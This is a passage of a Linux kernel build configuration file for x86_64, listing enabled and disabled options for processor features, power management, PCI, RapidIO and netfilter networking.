CONFIG_HAVE_ARCH_SECCOMP_FILTER=y CONFIG_HAVE_CC_STACKPROTECTOR=y CONFIG_CC_STACKPROTECTOR=y # CONFIG_CC_STACKPROTECTOR_NONE is not set CONFIG_CC_STACKPROTECTOR_REGULAR=y # CONFIG_CC_STACKPROTECTOR_STRONG is not set CONFIG_HAVE_CONTEXT_TRACKING=y CONFIG_HAVE_VIRT_CPU_ACCOUNTING_GEN=y CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE=y CONFIG_HAVE_ARCH_HUGE_VMAP=y CONFIG_HAVE_ARCH_SOFT_DIRTY=y CONFIG_MODULES_USE_ELF_RELA=y CONFIG_HAVE_IRQ_EXIT_ON_IRQ_STACK=y CONFIG_ARCH_HAS_ELF_RANDOMIZE=y CONFIG_HAVE_COPY_THREAD_TLS=y # # GCOV-based kernel profiling # CONFIG_GCOV_KERNEL=y CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y CONFIG_GCOV_PROFILE_ALL=y CONFIG_GCOV_FORMAT_AUTODETECT=y # CONFIG_GCOV_FORMAT_3_4 is not set # CONFIG_GCOV_FORMAT_4_7 is not set # CONFIG_HAVE_GENERIC_DMA_COHERENT is not set CONFIG_RT_MUTEXES=y CONFIG_BASE_SMALL=0 # CONFIG_MODULES is not set CONFIG_MODULES_TREE_LOOKUP=y CONFIG_STOP_MACHINE=y CONFIG_BLOCK=y CONFIG_BLK_DEV_BSG=y CONFIG_BLK_DEV_BSGLIB=y # CONFIG_BLK_DEV_INTEGRITY is not set # CONFIG_BLK_CMDLINE_PARSER is not set # # Partition Types # # CONFIG_PARTITION_ADVANCED is not set CONFIG_MSDOS_PARTITION=y CONFIG_EFI_PARTITION=y # # IO Schedulers # CONFIG_IOSCHED_NOOP=y CONFIG_IOSCHED_DEADLINE=y CONFIG_IOSCHED_CFQ=y CONFIG_DEFAULT_DEADLINE=y # CONFIG_DEFAULT_CFQ is not set # CONFIG_DEFAULT_NOOP is not set CONFIG_DEFAULT_IOSCHED="deadline" CONFIG_PREEMPT_NOTIFIERS=y CONFIG_ASN1=y CONFIG_UNINLINE_SPIN_UNLOCK=y CONFIG_ARCH_SUPPORTS_ATOMIC_RMW=y CONFIG_RWSEM_SPIN_ON_OWNER=y CONFIG_LOCK_SPIN_ON_OWNER=y CONFIG_ARCH_USE_QUEUED_SPINLOCKS=y CONFIG_QUEUED_SPINLOCKS=y CONFIG_ARCH_USE_QUEUED_RWLOCKS=y CONFIG_QUEUED_RWLOCKS=y CONFIG_FREEZER=y # # Processor type and features # # CONFIG_ZONE_DMA is not set CONFIG_SMP=y CONFIG_X86_FEATURE_NAMES=y CONFIG_X86_X2APIC=y # CONFIG_X86_MPPARSE is not set # CONFIG_X86_EXTENDED_PLATFORM is not set CONFIG_X86_INTEL_LPSS=y CONFIG_X86_AMD_PLATFORM_DEVICE=y CONFIG_IOSF_MBI=y CONFIG_IOSF_MBI_DEBUG=y CONFIG_X86_SUPPORTS_MEMORY_FAILURE=y CONFIG_SCHED_OMIT_FRAME_POINTER=y CONFIG_HYPERVISOR_GUEST=y CONFIG_PARAVIRT=y # CONFIG_PARAVIRT_DEBUG is not set CONFIG_PARAVIRT_SPINLOCKS=y # CONFIG_XEN is not set CONFIG_KVM_GUEST=y CONFIG_KVM_DEBUG_FS=y CONFIG_PARAVIRT_TIME_ACCOUNTING=y CONFIG_PARAVIRT_CLOCK=y CONFIG_NO_BOOTMEM=y # CONFIG_MK8 is not set # CONFIG_MPSC is not set # CONFIG_MCORE2 is not set # CONFIG_MATOM is not set CONFIG_GENERIC_CPU=y CONFIG_X86_INTERNODE_CACHE_SHIFT=6 CONFIG_X86_L1_CACHE_SHIFT=6 CONFIG_X86_TSC=y CONFIG_X86_CMPXCHG64=y CONFIG_X86_CMOV=y CONFIG_X86_MINIMUM_CPU_FAMILY=64 CONFIG_X86_DEBUGCTLMSR=y # CONFIG_PROCESSOR_SELECT is not set CONFIG_CPU_SUP_INTEL=y CONFIG_CPU_SUP_AMD=y CONFIG_CPU_SUP_CENTAUR=y CONFIG_HPET_TIMER=y CONFIG_HPET_EMULATE_RTC=y # CONFIG_DMI is not set # CONFIG_GART_IOMMU is not set CONFIG_CALGARY_IOMMU=y CONFIG_CALGARY_IOMMU_ENABLED_BY_DEFAULT=y CONFIG_SWIOTLB=y CONFIG_IOMMU_HELPER=y # CONFIG_MAXSMP is not set CONFIG_NR_CPUS=64 CONFIG_SCHED_SMT=y # CONFIG_SCHED_MC is not set CONFIG_PREEMPT_NONE=y # CONFIG_PREEMPT_VOLUNTARY is not set # CONFIG_PREEMPT is not set CONFIG_PREEMPT_COUNT=y CONFIG_X86_LOCAL_APIC=y CONFIG_X86_IO_APIC=y # CONFIG_X86_REROUTE_FOR_BROKEN_BOOT_IRQS is not set CONFIG_X86_MCE=y # CONFIG_X86_MCE_INTEL is not set CONFIG_X86_MCE_AMD=y CONFIG_X86_MCE_THRESHOLD=y # CONFIG_X86_MCE_INJECT is not set # CONFIG_VM86 is not set CONFIG_X86_VSYSCALL_EMULATION=y CONFIG_I8K=y CONFIG_MICROCODE=y CONFIG_MICROCODE_INTEL=y # CONFIG_MICROCODE_AMD is not set CONFIG_MICROCODE_OLD_INTERFACE=y CONFIG_MICROCODE_INTEL_EARLY=y CONFIG_MICROCODE_EARLY=y CONFIG_X86_MSR=y CONFIG_X86_CPUID=y CONFIG_ARCH_PHYS_ADDR_T_64BIT=y CONFIG_ARCH_DMA_ADDR_T_64BIT=y CONFIG_X86_DIRECT_GBPAGES=y CONFIG_NUMA=y # CONFIG_AMD_NUMA is not set CONFIG_X86_64_ACPI_NUMA=y CONFIG_NODES_SPAN_OTHER_NODES=y CONFIG_NUMA_EMU=y CONFIG_NODES_SHIFT=6 CONFIG_ARCH_SPARSEMEM_ENABLE=y CONFIG_ARCH_SPARSEMEM_DEFAULT=y CONFIG_ARCH_SELECT_MEMORY_MODEL=y CONFIG_ILLEGAL_POINTER_VALUE=0xdead000000000000 CONFIG_SELECT_MEMORY_MODEL=y CONFIG_SPARSEMEM_MANUAL=y CONFIG_SPARSEMEM=y CONFIG_NEED_MULTIPLE_NODES=y CONFIG_HAVE_MEMORY_PRESENT=y CONFIG_SPARSEMEM_EXTREME=y CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y CONFIG_SPARSEMEM_ALLOC_MEM_MAP_TOGETHER=y CONFIG_SPARSEMEM_VMEMMAP=y CONFIG_HAVE_MEMBLOCK=y CONFIG_HAVE_MEMBLOCK_NODE_MAP=y CONFIG_ARCH_DISCARD_MEMBLOCK=y CONFIG_MOVABLE_NODE=y # CONFIG_HAVE_BOOTMEM_INFO_NODE is not set # CONFIG_MEMORY_HOTPLUG is not set CONFIG_SPLIT_PTLOCK_CPUS=4 CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y CONFIG_MEMORY_BALLOON=y CONFIG_BALLOON_COMPACTION=y CONFIG_COMPACTION=y CONFIG_MIGRATION=y CONFIG_ARCH_ENABLE_HUGEPAGE_MIGRATION=y CONFIG_PHYS_ADDR_T_64BIT=y CONFIG_ZONE_DMA_FLAG=0 CONFIG_VIRT_TO_BUS=y CONFIG_MMU_NOTIFIER=y CONFIG_KSM=y CONFIG_DEFAULT_MMAP_MIN_ADDR=4096 CONFIG_ARCH_SUPPORTS_MEMORY_FAILURE=y # CONFIG_MEMORY_FAILURE is not set CONFIG_TRANSPARENT_HUGEPAGE=y # CONFIG_TRANSPARENT_HUGEPAGE_ALWAYS is not set CONFIG_TRANSPARENT_HUGEPAGE_MADVISE=y # CONFIG_CLEANCACHE is not set CONFIG_FRONTSWAP=y # CONFIG_CMA is not set # CONFIG_ZSWAP is not set CONFIG_ZPOOL=y CONFIG_ZBUD=y # CONFIG_ZSMALLOC is not set CONFIG_GENERIC_EARLY_IOREMAP=y CONFIG_ARCH_SUPPORTS_DEFERRED_STRUCT_PAGE_INIT=y CONFIG_IDLE_PAGE_TRACKING=y CONFIG_X86_PMEM_LEGACY_DEVICE=y CONFIG_X86_PMEM_LEGACY=y # CONFIG_X86_CHECK_BIOS_CORRUPTION is not set CONFIG_X86_RESERVE_LOW=64 # CONFIG_MTRR is not set # CONFIG_ARCH_RANDOM is not set # CONFIG_X86_SMAP is not set # CONFIG_X86_INTEL_MPX is not set CONFIG_EFI=y # CONFIG_EFI_STUB is not set # CONFIG_SECCOMP is not set # CONFIG_HZ_100 is not set # CONFIG_HZ_250 is not set # CONFIG_HZ_300 is not set CONFIG_HZ_1000=y CONFIG_HZ=1000 CONFIG_SCHED_HRTICK=y CONFIG_KEXEC=y # CONFIG_KEXEC_FILE is not set # CONFIG_CRASH_DUMP is not set CONFIG_PHYSICAL_START=0x1000000 CONFIG_RELOCATABLE=y # CONFIG_RANDOMIZE_BASE is not set CONFIG_PHYSICAL_ALIGN=0x200000 CONFIG_HOTPLUG_CPU=y # CONFIG_BOOTPARAM_HOTPLUG_CPU0 is not set # CONFIG_DEBUG_HOTPLUG_CPU0 is not set # CONFIG_LEGACY_VSYSCALL_NATIVE is not set CONFIG_LEGACY_VSYSCALL_EMULATE=y # CONFIG_LEGACY_VSYSCALL_NONE is not set # CONFIG_CMDLINE_BOOL is not set # CONFIG_MODIFY_LDT_SYSCALL is not set CONFIG_HAVE_LIVEPATCH=y CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y CONFIG_USE_PERCPU_NUMA_NODE_ID=y CONFIG_HAVE_MEMORYLESS_NODES=y # # Power management and ACPI options # CONFIG_SUSPEND=y CONFIG_SUSPEND_FREEZER=y CONFIG_SUSPEND_SKIP_SYNC=y # CONFIG_HIBERNATION is not set CONFIG_PM_SLEEP=y CONFIG_PM_SLEEP_SMP=y CONFIG_PM_AUTOSLEEP=y CONFIG_PM_WAKELOCKS=y CONFIG_PM_WAKELOCKS_LIMIT=100 CONFIG_PM_WAKELOCKS_GC=y CONFIG_PM=y CONFIG_PM_DEBUG=y # CONFIG_PM_ADVANCED_DEBUG is not set # CONFIG_PM_TEST_SUSPEND is not set CONFIG_PM_SLEEP_DEBUG=y # CONFIG_DPM_WATCHDOG is not set # CONFIG_PM_TRACE_RTC is not set CONFIG_PM_OPP=y CONFIG_PM_CLK=y CONFIG_WQ_POWER_EFFICIENT_DEFAULT=y CONFIG_ACPI=y CONFIG_ACPI_LEGACY_TABLES_LOOKUP=y CONFIG_ARCH_MIGHT_HAVE_ACPI_PDC=y CONFIG_ACPI_SYSTEM_POWER_STATES_SUPPORT=y CONFIG_ACPI_SLEEP=y # CONFIG_ACPI_REV_OVERRIDE_POSSIBLE is not set # CONFIG_ACPI_EC_DEBUGFS is not set # CONFIG_ACPI_AC is not set CONFIG_ACPI_BATTERY=y CONFIG_ACPI_BUTTON=y CONFIG_ACPI_VIDEO=y # CONFIG_ACPI_FAN is not set CONFIG_ACPI_DOCK=y CONFIG_ACPI_CPU_FREQ_PSS=y CONFIG_ACPI_PROCESSOR_IDLE=y CONFIG_ACPI_PROCESSOR=y CONFIG_ACPI_IPMI=y CONFIG_ACPI_HOTPLUG_CPU=y # CONFIG_ACPI_PROCESSOR_AGGREGATOR is not set # CONFIG_ACPI_THERMAL is not set CONFIG_ACPI_NUMA=y # CONFIG_ACPI_CUSTOM_DSDT is not set # CONFIG_ACPI_INITRD_TABLE_OVERRIDE is not set CONFIG_ACPI_DEBUG=y CONFIG_ACPI_PCI_SLOT=y CONFIG_X86_PM_TIMER=y CONFIG_ACPI_CONTAINER=y CONFIG_ACPI_HOTPLUG_IOAPIC=y # CONFIG_ACPI_SBS is not set CONFIG_ACPI_HED=y CONFIG_ACPI_CUSTOM_METHOD=y CONFIG_ACPI_BGRT=y # CONFIG_ACPI_REDUCED_HARDWARE_ONLY is not set CONFIG_ACPI_NFIT=y CONFIG_HAVE_ACPI_APEI=y CONFIG_HAVE_ACPI_APEI_NMI=y CONFIG_ACPI_APEI=y # CONFIG_ACPI_APEI_GHES is not set # CONFIG_ACPI_APEI_EINJ is not set # CONFIG_ACPI_APEI_ERST_DEBUG is not set # CONFIG_ACPI_EXTLOG is not set CONFIG_PMIC_OPREGION=y # CONFIG_SFI is not set # # CPU Frequency scaling # CONFIG_CPU_FREQ=y CONFIG_CPU_FREQ_GOV_COMMON=y # CONFIG_CPU_FREQ_STAT is not set # CONFIG_CPU_FREQ_DEFAULT_GOV_PERFORMANCE is not set # CONFIG_CPU_FREQ_DEFAULT_GOV_POWERSAVE is not set CONFIG_CPU_FREQ_DEFAULT_GOV_USERSPACE=y # CONFIG_CPU_FREQ_DEFAULT_GOV_ONDEMAND is not set # CONFIG_CPU_FREQ_DEFAULT_GOV_CONSERVATIVE is not set CONFIG_CPU_FREQ_GOV_PERFORMANCE=y CONFIG_CPU_FREQ_GOV_POWERSAVE=y CONFIG_CPU_FREQ_GOV_USERSPACE=y CONFIG_CPU_FREQ_GOV_ONDEMAND=y CONFIG_CPU_FREQ_GOV_CONSERVATIVE=y # # CPU frequency scaling drivers # CONFIG_CPUFREQ_DT=y # CONFIG_X86_INTEL_PSTATE is not set # CONFIG_X86_PCC_CPUFREQ is not set CONFIG_X86_ACPI_CPUFREQ=y # CONFIG_X86_ACPI_CPUFREQ_CPB is not set CONFIG_X86_POWERNOW_K8=y # CONFIG_X86_AMD_FREQ_SENSITIVITY is not set # CONFIG_X86_SPEEDSTEP_CENTRINO is not set CONFIG_X86_P4_CLOCKMOD=y # # shared options # CONFIG_X86_SPEEDSTEP_LIB=y # # CPU Idle # CONFIG_CPU_IDLE=y CONFIG_CPU_IDLE_GOV_LADDER=y # CONFIG_CPU_IDLE_GOV_MENU is not set # CONFIG_ARCH_NEEDS_CPU_IDLE_COUPLED is not set # CONFIG_INTEL_IDLE is not set # # Memory power savings # CONFIG_I7300_IDLE_IOAT_CHANNEL=y CONFIG_I7300_IDLE=y # # Bus options (PCI etc.) # CONFIG_PCI=y CONFIG_PCI_DIRECT=y CONFIG_PCI_MMCONFIG=y CONFIG_PCI_DOMAINS=y # CONFIG_PCI_CNB20LE_QUIRK is not set CONFIG_PCIEPORTBUS=y # CONFIG_PCIEAER is not set CONFIG_PCIEASPM=y # CONFIG_PCIEASPM_DEBUG is not set # CONFIG_PCIEASPM_DEFAULT is not set # CONFIG_PCIEASPM_POWERSAVE is not set CONFIG_PCIEASPM_PERFORMANCE=y CONFIG_PCIE_PME=y CONFIG_PCI_BUS_ADDR_T_64BIT=y # CONFIG_PCI_MSI is not set # CONFIG_PCI_DEBUG is not set CONFIG_PCI_REALLOC_ENABLE_AUTO=y CONFIG_PCI_STUB=y CONFIG_HT_IRQ=y CONFIG_PCI_ATS=y CONFIG_PCI_IOV=y # CONFIG_PCI_PRI is not set CONFIG_PCI_PASID=y CONFIG_PCI_LABEL=y # # PCI host controller drivers # # CONFIG_ISA_DMA_API is not set CONFIG_AMD_NB=y # CONFIG_PCCARD is not set # CONFIG_HOTPLUG_PCI is not set CONFIG_RAPIDIO=y # CONFIG_RAPIDIO_TSI721 is not set CONFIG_RAPIDIO_DISC_TIMEOUT=30 CONFIG_RAPIDIO_ENABLE_RX_TX_PORTS=y # CONFIG_RAPIDIO_DMA_ENGINE is not set CONFIG_RAPIDIO_DEBUG=y CONFIG_RAPIDIO_ENUM_BASIC=y # # RapidIO Switch drivers # CONFIG_RAPIDIO_TSI57X=y # CONFIG_RAPIDIO_CPS_XX is not set # CONFIG_RAPIDIO_TSI568 is not set CONFIG_RAPIDIO_CPS_GEN2=y CONFIG_X86_SYSFB=y # # Executable file formats / Emulations # # CONFIG_BINFMT_ELF is not set # CONFIG_BINFMT_SCRIPT is not set # CONFIG_HAVE_AOUT is not set CONFIG_BINFMT_MISC=y CONFIG_COREDUMP=y # CONFIG_IA32_EMULATION is not set # CONFIG_X86_X32 is not set CONFIG_X86_DEV_DMA_OPS=y CONFIG_PMC_ATOM=y CONFIG_NET=y # # Networking options # # CONFIG_PACKET is not set CONFIG_UNIX=y CONFIG_UNIX_DIAG=y CONFIG_XFRM=y CONFIG_XFRM_ALGO=y # CONFIG_XFRM_USER is not set CONFIG_XFRM_SUB_POLICY=y CONFIG_XFRM_MIGRATE=y # CONFIG_NET_KEY is not set CONFIG_INET=y # CONFIG_IP_MULTICAST is not set CONFIG_IP_ADVANCED_ROUTER=y # CONFIG_IP_FIB_TRIE_STATS is not set # CONFIG_IP_MULTIPLE_TABLES is not set CONFIG_IP_ROUTE_MULTIPATH=y CONFIG_IP_ROUTE_VERBOSE=y CONFIG_IP_PNP=y CONFIG_IP_PNP_DHCP=y # CONFIG_IP_PNP_BOOTP is not set # CONFIG_IP_PNP_RARP is not set # CONFIG_NET_IPIP is not set # CONFIG_NET_IPGRE_DEMUX is not set CONFIG_NET_IP_TUNNEL=y CONFIG_SYN_COOKIES=y CONFIG_NET_IPVTI=y CONFIG_NET_UDP_TUNNEL=y CONFIG_NET_FOU=y # CONFIG_INET_AH is not set CONFIG_INET_ESP=y # CONFIG_INET_IPCOMP is not set # CONFIG_INET_XFRM_TUNNEL is not set CONFIG_INET_TUNNEL=y CONFIG_INET_XFRM_MODE_TRANSPORT=y CONFIG_INET_XFRM_MODE_TUNNEL=y CONFIG_INET_XFRM_MODE_BEET=y CONFIG_INET_LRO=y CONFIG_INET_DIAG=y CONFIG_INET_TCP_DIAG=y # CONFIG_INET_UDP_DIAG is not set # CONFIG_TCP_CONG_ADVANCED is not set CONFIG_TCP_CONG_CUBIC=y CONFIG_DEFAULT_TCP_CONG="cubic" # CONFIG_TCP_MD5SIG is not set CONFIG_IPV6=y # CONFIG_IPV6_ROUTER_PREF is not set # CONFIG_IPV6_OPTIMISTIC_DAD is not set CONFIG_INET6_AH=y # CONFIG_INET6_ESP is not set # CONFIG_INET6_IPCOMP is not set CONFIG_IPV6_MIP6=y CONFIG_IPV6_ILA=y # CONFIG_INET6_XFRM_TUNNEL is not set CONFIG_INET6_TUNNEL=y # CONFIG_INET6_XFRM_MODE_TRANSPORT is not set CONFIG_INET6_XFRM_MODE_TUNNEL=y # CONFIG_INET6_XFRM_MODE_BEET is not set CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION=y # CONFIG_IPV6_VTI is not set # CONFIG_IPV6_SIT is not set CONFIG_IPV6_TUNNEL=y CONFIG_IPV6_GRE=y # CONFIG_IPV6_MULTIPLE_TABLES is not set CONFIG_IPV6_MROUTE=y # CONFIG_IPV6_MROUTE_MULTIPLE_TABLES is not set CONFIG_IPV6_PIMSM_V2=y # CONFIG_NETWORK_SECMARK is not set CONFIG_NET_PTP_CLASSIFY=y # CONFIG_NETWORK_PHY_TIMESTAMPING is not set CONFIG_NETFILTER=y # CONFIG_NETFILTER_DEBUG is not set CONFIG_NETFILTER_ADVANCED=y CONFIG_BRIDGE_NETFILTER=y # # Core Netfilter Configuration # # CONFIG_NETFILTER_INGRESS is not set CONFIG_NETFILTER_NETLINK=y CONFIG_NETFILTER_NETLINK_ACCT=y CONFIG_NETFILTER_NETLINK_QUEUE=y CONFIG_NETFILTER_NETLINK_LOG=y CONFIG_NF_CONNTRACK=y CONFIG_NF_LOG_COMMON=y CONFIG_NF_CONNTRACK_MARK=y CONFIG_NF_CONNTRACK_ZONES=y CONFIG_NF_CONNTRACK_EVENTS=y CONFIG_NF_CONNTRACK_TIMEOUT=y CONFIG_NF_CONNTRACK_TIMESTAMP=y CONFIG_NF_CONNTRACK_LABELS=y CONFIG_NF_CT_PROTO_DCCP=y CONFIG_NF_CT_PROTO_GRE=y # CONFIG_NF_CT_PROTO_SCTP is not set CONFIG_NF_CT_PROTO_UDPLITE=y CONFIG_NF_CONNTRACK_AMANDA=y CONFIG_NF_CONNTRACK_FTP=y CONFIG_NF_CONNTRACK_H323=y # CONFIG_NF_CONNTRACK_IRC is not set CONFIG_NF_CONNTRACK_BROADCAST=y CONFIG_NF_CONNTRACK_NETBIOS_NS=y # CONFIG_NF_CONNTRACK_SNMP is not set CONFIG_NF_CONNTRACK_PPTP=y # CONFIG_NF_CONNTRACK_SANE is not set CONFIG_NF_CONNTRACK_SIP=y # CONFIG_NF_CONNTRACK_TFTP is not set CONFIG_NF_CT_NETLINK=y # CONFIG_NF_CT_NETLINK_TIMEOUT is not set CONFIG_NF_CT_NETLINK_HELPER=y CONFIG_NETFILTER_NETLINK_GLUE_CT=y CONFIG_NF_NAT=y CONFIG_NF_NAT_NEEDED=y CONFIG_NF_NAT_PROTO_DCCP=y CONFIG_NF_NAT_PROTO_UDPLITE=y CONFIG_NF_NAT_AMANDA=y CONFIG_NF_NAT_FTP=y # CONFIG_NF_NAT_IRC is not set CONFIG_NF_NAT_SIP=y # CONFIG_NF_NAT_TFTP is not set CONFIG_NF_NAT_REDIRECT=y CONFIG_NETFILTER_SYNPROXY=y CONFIG_NF_TABLES=y # CONFIG_NF_TABLES_INET is not set CONFIG_NF_TABLES_NETDEV=y # CONFIG_NFT_EXTHDR is not set CONFIG_NFT_META=y CONFIG_NFT_CT=y CONFIG_NFT_RBTREE=y CONFIG_NFT_HASH=y CONFIG_NFT_COUNTER=y # CONFIG_NFT_LOG is not set CONFIG_NFT_LIMIT=y CONFIG_NFT_MASQ=y # CONFIG_NFT_REDIR is not set # CONFIG_NFT_NAT is not set CONFIG_NFT_QUEUE=y CONFIG_NFT_REJECT=y # CONFIG_NFT_COMPAT is not set CONFIG_NETFILTER_XTABLES=y # # Xtables combined modules # CONFIG_NETFILTER_XT_MARK=y CONFIG_NETFILTER_XT_CONNMARK=y # # Xtables targets # CONFIG_NETFILTER_XT_TARGET_AUDIT=y CONFIG_NETFILTER_XT_TARGET_CHECKSUM=y CONFIG_NETFILTER_XT_TARGET_CLASSIFY=y CONFIG_NETFILTER_XT_TARGET_CONNMARK=y CONFIG_NETFILTER_XT_TARGET_CT=y CONFIG_NETFILTER_XT_TARGET_DSCP=y CONFIG_NETFILTER_XT_TARGET_HL=y # CONFIG_NETFILTER_XT_TARGET_HMARK is not set # CONFIG_NETFILTER_XT_TARGET_IDLETIMER is not set CONFIG_NETFILTER_XT_TARGET_LED=y # CONFIG_NETFILTER_XT_TARGET_LOG is not set CONFIG_NETFILTER_XT_TARGET_MARK=y CONFIG_NETFILTER_XT_NAT=y CONFIG_NETFILTER_XT_TARGET_NETMAP=y CONFIG_NETFILTER_XT_TARGET_NFLOG=y CONFIG_NETFILTER_XT_TARGET_NFQUEUE=y CONFIG_NETFILTER_XT_TARGET_NOTRACK=y CONFIG_NETFILTER_XT_TARGET_RATEEST=y CONFIG_NETFILTER_XT_TARGET_REDIRECT=y CONFIG_NETFILTER_XT_TARGET_TEE=y CONFIG_NETFILTER_XT_TARGET_TRACE=y # CONFIG_NETFILTER_XT_TARGET_TCPMSS is not set CONFIG_NETFILTER_XT_TARGET_TCPOPTSTRIP=y # # Xtables matches # # CONFIG_NETFILTER_XT_MATCH_ADDRTYPE is not set CONFIG_NETFILTER_XT_MATCH_BPF=y # CONFIG_NETFILTER_XT_MATCH_CGROUP is not set CONFIG_NETFILTER_XT_MATCH_CLUSTER=y CONFIG_NETFILTER_XT_MATCH_COMMENT=y CONFIG_NETFILTER_XT_MATCH_CONNBYTES=y CONFIG_NETFILTER_XT_MATCH_CONNLABEL=y CONFIG_NETFILTER_XT_MATCH_CONNLIMIT=y CONFIG_NETFILTER_XT_MATCH_CONNMARK=y CONFIG_NETFILTER_XT_MATCH_CONNTRACK=y CONFIG_NETFILTER_XT_MATCH_CPU=y # CONFIG_NETFILTER_XT_MATCH_DCCP is not set # CONFIG_NETFILTER_XT_MATCH_DEVGROUP is not set CONFIG_NETFILTER_XT_MATCH_DSCP=y CONFIG_NETFILTER_XT_MATCH_ECN=y # CONFIG_NETFILTER_XT_MATCH_ESP is not set # CONFIG_NETFILTER_XT_MATCH_HASHLIMIT is not set CONFIG_NETFILTER_XT_MATCH_HELPER=y CONFIG_NETFILTER_XT_MATCH_HL=y CONFIG_NETFILTER_XT_MATCH_IPCOMP=y CONFIG_NETFILTER_XT_MATCH_IPRANGE=y CONFIG_NETFILTER_XT_MATCH_L2TP=y CONFIG_NETFILTER_XT_MATCH_LENGTH=y CONFIG_NETFILTER_XT_MATCH_LIMIT=y # CONFIG_NETFILTER_XT_MATCH_MAC is not set # CONFIG_NETFILTER_XT_MATCH_MARK is not set CONFIG_NETFILTER_XT_MATCH_MULTIPORT=y CONFIG_NETFILTER_XT_MATCH_NFACCT=y CONFIG_NETFILTER_XT_MATCH_OSF=y CONFIG_NETFILTER_XT_MATCH_OWNER=y CONFIG_NETFILTER_XT_MATCH_POLICY=y CONFIG_NETFILTER_XT_MATCH_PHYSDEV=y CONFIG_NETFILTER_XT_MATCH_PKTTYPE=y CONFIG_NETFILTER_XT_MATCH_QUOTA=y CONFIG_NETFILTER_XT_MATCH_RATEEST=y # CONFIG_NETFILTER_XT_MATCH_REALM is not set CONFIG_NETFILTER_XT_MATCH_RECENT=y # CONFIG_NETFILTER_XT_MATCH_SCTP is not set # CONFIG_NETFILTER_XT_MATCH_SOCKET is not set CONFIG_NETFILTER_XT_MATCH_STATE=y CONFIG_NETFILTER_XT_MATCH_STATISTIC=y CONFIG_NETFILTER_XT_MATCH_STRING=y CONFIG_NETFILTER_XT_MATCH_TCPMSS=y # CONFIG_NETFILTER_XT_MATCH_TIME is not set CONFIG_NETFILTER_XT_MATCH_U32=y # CONFIG_IP_SET is not set # CONFIG_IP_VS is not set # # IP: Netfilter Configuration # # CONFIG_NF_DEFRAG_IPV4 is not set # CONFIG_NF_CONNTRACK_IPV4 is not set CONFIG_NF_TABLES_IPV4=y CONFIG_NFT_CHAIN_ROUTE_IPV4=y CONFIG_NFT_REJECT_IPV4=y CONFIG_NFT_DUP_IPV4=y CONFIG_NF_TABLES_ARP=y CONFIG_NF_DUP_IPV4=y CONFIG_NF_LOG_ARP=y CONFIG_NF_LOG_IPV4=y CONFIG_NF_REJECT_IPV4=y # CONFIG_IP_NF_IPTABLES is not set # CONFIG_IP_NF_ARPTABLES is not set # # IPv6: Netfilter Configuration # CONFIG_NF_DEFRAG_IPV6=y CONFIG_NF_CONNTRACK_IPV6=y # CONFIG_NF_TABLES_IPV6 is not set CONFIG_NF_DUP_IPV6=y CONFIG_NF_REJECT_IPV6=y CONFIG_NF_LOG_IPV6=y CONFIG_NF_NAT_IPV6=y # CONFIG_NF_NAT_MASQUERADE_IPV6 is not set CONFIG_IP6_NF_IPTABLES=y CONFIG_IP6_NF_MATCH_AH=y CONFIG_IP6_NF_MATCH_EUI64=y # CONFIG_IP6_NF_MATCH_FRAG is not set # CONFIG_IP6_NF_MATCH_OPTS is not set CONFIG_IP6_NF_MATCH_HL=y CONFIG_IP6_NF_MATCH_IPV6HEADER=y CONFIG_IP6_NF_MATCH_MH=y CONFIG_IP6_NF_MATCH_RPFILTER=y CONFIG_IP6_NF_MATCH_RT=y # CONFIG_IP6_NF_TARGET_HL is not set CONFIG_IP6_NF_FILTER=y CONFIG_IP6_NF_TARGET_REJECT=y CONFIG_IP6_NF_TARGET_SYNPROXY=y CONFIG_IP6_NF_MANGLE=y CONFIG_IP6_NF_RAW=y CONFIG_IP6_NF_NAT=y # CONFIG_IP6_NF_TARGET_MASQUERADE is not set CONFIG_IP6_NF_TARGET_NPT=y # # DECnet: Netfilter Configuration # # CONFIG_DECNET_NF_GRABULATOR is not set CONFIG_NF_TABLES_BRIDGE=y CONFIG_NFT_BRIDGE_META=y CONFIG_NF_LOG_BRIDGE=y CONFIG_BRIDGE_NF_EBTABLES=y CONFIG_BRIDGE_EBT_BROUTE=y CONFIG_BRIDGE_EBT_T_FILTER=y CONFIG_BRIDGE_EBT_T_NAT=y # CONFIG_BRIDGE_EBT_802_3 is not set CONFIG_BRIDGE_EBT_AMONG=y # CONFIG_BRIDGE_EBT_ARP is not set # CONFIG_BRIDGE_EBT_IP is not set # CONFIG_BRIDGE_EBT_IP6 is not set # CONFIG_BRIDGE_EBT_LIMIT is not set # CONFIG_BRIDGE_EBT_MARK is not set CONFIG_BRIDGE_EBT_PKTTYPE=y CONFIG_BRIDGE_EBT_STP=y CONFIG_BRIDGE_EBT_VLAN=y CONFIG_BRIDGE_EBT_ARPREPLY=y # CONFIG_BRIDGE_EBT_DNAT is not set CONFIG_BRIDGE_EBT_MARK_T=y CONFIG_BRIDGE_EBT_REDIRECT=y CONFIG_BRIDGE_EBT_SNAT=y # CONFIG_BRIDGE_EBT_LOG is not set CONFIG_BRIDGE_EBT_NFLOG=y # CONFIG_IP_DCCP is not set CONFIG_IP_SCTP=y CONFIG_SCTP_DEFAULT_COOKIE_HMAC_MD5=y # CONFIG_SCTP_DEFAULT_COOKIE_HMAC_SHA1 is not set # CONFIG_SCTP_DEFAULT_COOKIE_HMAC_NONE is not set CONFIG_SCTP_COOKIE_HMAC_MD5=y CONFIG_SCTP_COOKIE_HMAC_SHA1=y # CONFIG_RDS is not set CONFIG_TIPC=y # CONFIG_TIPC_MEDIA_IB is not set CONFIG_TIPC_MEDIA_UDP=y # CONFIG_ATM is not set # CONFIG_L2TP is not set CONFIG_STP=y CONFIG_BRIDGE=y # CONFIG_BRIDGE_IGMP_SNOOPING is not set CONFIG_BRIDGE_VLAN_FILTERING=y CONFIG_HAVE_NET_DSA=y CONFIG_NET_DSA=y # CONFIG_NET_DSA_HWMON is not set CONFIG_NET_DSA_TAG_BRCM=y CONFIG_NET_DSA_TAG_EDSA=y CONFIG_NET_DSA_TAG_TRAILER=y CONFIG_VLAN_8021Q=y # CONFIG_VLAN_8021Q_GVRP is not set # CONFIG_VLAN_8021Q_MVRP is not set CONFIG_DECNET=y CONFIG_DECNET_ROUTER=y CONFIG_LLC=y CONFIG_LLC2=y CONFIG_IPX=y 